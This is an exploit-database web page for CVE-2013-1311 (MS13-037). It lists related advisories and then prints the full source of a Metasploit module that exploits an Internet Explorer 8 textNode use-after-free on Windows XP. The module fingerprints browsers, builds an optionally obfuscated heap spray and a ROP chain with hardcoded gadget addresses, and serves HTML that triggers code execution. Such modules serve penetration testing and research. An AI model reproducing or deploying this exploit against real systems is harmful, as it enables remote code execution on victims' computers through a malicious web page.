| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| MS13-037 Microsoft Internet Explorer textNode Use-After-Free | 7 Jun 201300:00 | – | zdt | |
| CVE-2013-1311 | 7 Jun 201300:00 | – | circl | |
| Internet Explorer Deleted Object Use-after-free (MS13-037; CVE-2013-1311) | 14 May 201300:00 | – | checkpoint_advisories | |
| CVE-2013-1311 | 15 May 201301:00 | – | cve | |
| CVE-2013-1311 | 15 May 201301:00 | – | cvelist | |
| Microsoft Internet Explorer - textNode Use-After-Free (MS13-037) (Metasploit) | 7 Jun 201300:00 | – | exploitpack | |
| MS13-037: Cumulative Security Update for Internet Explorer: May 14, 2013 | 14 May 201300:00 | – | mskb | |
| CVE-2013-1311 | 15 May 201303:36 | – | nvd | |
| Microsoft Internet Explorer Multiple Use After Free Vulnerabilities (2829530) | 15 May 201300:00 | – | openvas | |
| Microsoft Internet Explorer Multiple Use After Free Vulnerabilities (2829530) | 15 May 201300:00 | – | openvas |
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "MS13-037 Microsoft Internet Explorer textNode Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
where a DOM textNode pointer becomes corrupted after style computation. This pointer is then overwritten when the innerHTML property on the parent object is set.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Scott Bell <[email protected]>' # Vulnerability discovery & Metasploit module
],
'References' =>
[
[ 'CVE', '2013-1311' ],
[ 'MSB', 'MS13-037' ],
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ms13_037_ie_textnode_uaf.pdf' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 812,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
],
'Privileged' => false,
'DisclosureDate' => "June 6 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
stack_pivot = [
0x77c1cafb, # POP EBP # RETN [msvcrt.dll]
0x41414141, # Junk
0x781a04cb # POP ECX # PUSH ESP # RETN [urlmon.dll]
].pack("V*")
# Set up required heap layout
junk = "#{Rex::Text.rand_text_alpha(4)}"
null = "\x00"*4
valid_ptr = [0x0c0c0c0c].pack("V*")
offset = [0x0c0c0c6c].pack("V*")
heap_foo = junk*5 +
valid_ptr*2 +
junk +
offset +
junk*4 +
valid_ptr +
junk*6 +
valid_ptr +
null +
junk*2
rop_payload = heap_foo << generate_rop_payload('msvcrt', "", {'pivot'=>stack_pivot, 'target'=>'xp'})
rop_payload << code
end
return rop_payload
end
def get_exploit(my_target, cli)
p = get_payload(my_target, cli)
js = heap_spray(my_target, p)
html = %Q|
<!doctype html>
<html>
<head>
<script>
#{js}
function exploit() {
var obj = document.createElement('s')
obj.innerHTML = "⍼☠"
document.body.appendChild(obj)
document.styleSheets[0].cssText = "body:first-line{color:blue}"
CollectGarbage()
setTimeout(function(){
for (i=0;i<1000;i++){
obj.innerHTML = "\\u0c2c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c";
}
}, 500)
}
</script>
<style>
</style>
</head>
<body onload='setTimeout("exploit()", 2000)'>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = get_exploit(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status "Sending HTML..."
send_response(cli, html, {'Content-Type'=>'text/html'})
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation